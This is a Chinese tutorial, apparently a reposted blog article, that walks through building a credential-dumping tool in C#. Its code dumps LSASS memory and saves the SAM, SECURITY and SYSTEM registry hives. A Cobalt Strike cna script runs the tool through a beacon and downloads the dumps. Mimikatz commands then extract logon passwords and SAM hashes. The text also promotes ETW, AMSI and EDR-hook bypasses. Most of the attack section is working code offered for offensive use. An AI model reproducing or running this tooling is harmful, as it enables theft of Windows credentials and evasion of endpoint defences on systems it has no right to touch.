C# dump系统lsass内存和sam注册表详细
作者:unicodesec 发布时间:2021-06-26 12:19:53
1、检测权限
因为dump
系统lsass
内存和sam
注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。
public static bool IsHighIntegrity()
{
// returns true if the current process is running with adminstrative
privs in a high integrity context
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
2、lsass内存
MiniDumpWriteDump
是MS DbgHelp.dll
中一个API, 用于导出当前运行的程序的Dump
,利用MiniDumpWriteDump
实现dump lsass内存的功能,先加载MiniDumpWriteDump
函数。
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);
之后调用函数,并保存dump文件,代码如下所示:
namespace sharpdump
{
public class MiniDumper
{
public static string MiniDump()
{
Process[] pLsass = Process.GetProcessesByName("lsass");
string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
if (File.Exists(dumpFile)) File.Delete(dumpFile);
Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
{
bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (bRet)
{
Console.WriteLine("[+] Dump successful!");
return dumpFile;
}
else
{
Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
return null;
}
}
}
}
}
3、实现reg save保存sam注册表
首先导入需要用到的API。
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
int ulOptions,
int samDesired,
out UIntPtr hkResult
);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern int RegSaveKey(
UIntPtr hKey,
string lpFile,
IntPtr lpSecurityAttributes
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern int RegCloseKey(
UIntPtr hKey
);
然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。
namespace sharpdump
{
internal class Reg
{
public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
public static int KEY_READ = 0x20019;
public static int KEY_ALL_ACCESS = 0xF003F;
public static int REG_OPTION_OPEN_LINK = 0x0008;
public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
public static int KEY_QUERY_VALUE = 0x1;
public static void ExportRegKey(string key, string outFile)
{
var hKey = UIntPtr.Zero;
try
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
RegSaveKey(hKey, outFile, IntPtr.Zero);
RegCloseKey(hKey);
Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
}
catch (Exception e)
{
throw e;
}
}
public static string DumpReg(string key)
{
try
{
String addr = key + ".hiv";
addr = Path.Combine(Path.GetTempPath(), addr);
ExportRegKey(key, addr);
return addr;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Console.WriteLine(e.StackTrace);
return "";
}
}
}
}
文件会被dump
到temp
目录下,然后对所有dump
成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。
4、关于ExecuteAssembly
ExecuteAssembly
是CS可执行组件的一个替代方案,ExecuteAssembly
基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。
ExecuteAssembly
复用了主机进程spawnto
来加载CLR模块/AppDomainManager
,Stomping
加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash
哈希算法)实现隐藏导入。
当前metasploit-framework
和Cobalt Strike
都已经实现了ExecuteAssembly
功能,下面主要以Cobalt Strike
为例,实现dump系统lsass内存和sam注册表的功能
5、CS 插件
以结合 Cobalt Strike
为例,编写一个简单的cna
脚本。
popup beacon_bottom {
menu "Dumper" {
item "SharpDump"{
local('$bid');
foreach $bid ($1){
bexecute_assembly($1, script_resource("Dumper.exe"));
}
}
item "DownloadDump"{
prompt_text("File's address to download", "", lambda({
bdownload(@ids, $1);
}, @ids => $1));
}
}
}
加载脚本后,执行SharpDump
,结果如下所示:
下载存放在temp
目录下的dump.gz
,然后使用Decompress
解压,最后使用mimikatz
解密用户lsass.dmp
和sam
文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
lsadump::sam /sam:sam.hiv /system:system.hiv
来源:https://www.tuicool.com/articles/Y7RfYn6


猜你喜欢
- 这篇文章主要介绍了springboot跨域CORS处理代码解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,
- 我的环境* JDK 1.8 * maven 3.6.0 * node环境1.为什么需要前后端项目开发时分离,部署时合并?
- spring batch简介spring batch是spring提供的一个数据处理框架。企业域中的许多应用程序需要批量处理才能在关键任务环
- IDEA maven项目中刷新依赖的方法IDEA maven项目中刷新依赖分为自动刷新 和 手动刷新 两种!自动刷新File-Setting
- C#定义多行字符串的方式在定义的前面加上@符号: string aa = @"asdfsdfsd &n
- 我们在实际开发中,有的时候需要储存或者备份比较复杂的数据。这些数据的特点是,内容多、结构大,比如短信备份等。我们知道SharedPrefer
- 这篇文章主要介绍了Springboot整合MybatisPlus的实现过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定
- Maven修改打包文件名称对Maven打出的jar包名称不满意:想通过修改配置给jar包改名,查询找到了方法:pom.xml的<bui
- 字节数组的关键在于它为存储在该部分内存中的每个8位值提供索引(快速),精确的原始访问,并且您可以对这些字节进行操作以控制每个位。 坏处是计算
- public static string Escape(string s) &nb
- springboot 2.0 mybatis mapper-locations扫描多个路径mapper-locations扫描多个路径,中间
- SpringTask是Spring自带的功能。实现起来比较简单。使用SpringTask实现定时任务有两种方式:1.注解方式基于注解@Sch
- try catch finally组合:检测异常,并传递给catch处理,并在finally中进行资源释放。try catch组合 : 对代
- 本文实例为大家分享了Android九宫格图片展示的具体代码,供大家参考,具体内容如下推荐视频:尚硅谷Spring Data JPA视频教程,
- 在游戏项目中我们常常看到商城的广告牌,几张广告图片循环滚动,类似跑马灯,现在我将讨论一种实现方法,并提供一个管理类,大家可以直接使用。实现原
- 本文实例为大家分享了Java实现人机猜拳游戏的具体代码,供大家参考,具体内容如下实现:User类public class User { pr
- 提示:IntelliJ IDEA以下简称IDEA;####IntelliJ IDEA 配置git:需要的材料:一、git.exe二、配置gi
- 获取非公平锁(基于JDK1.7.0_40)非公平锁和公平锁在获取锁的方法上,流程是一样的;它们的区别主要表现在“尝试获取锁的机制不同”。简单
- 在C#中,值类型和引用类型是相当重要的两个概念,必须在设计类型的时候就决定类型实例的行为。如果在编写代码时不能理解引用类型和值类型的区别,那
- 现在网上很多应用都是用二维码来分享网址或者其它的信息。尤其在移动领域,二维码更是有很大的应用场景。因为项目的需要,需要在网站中增加一个生成二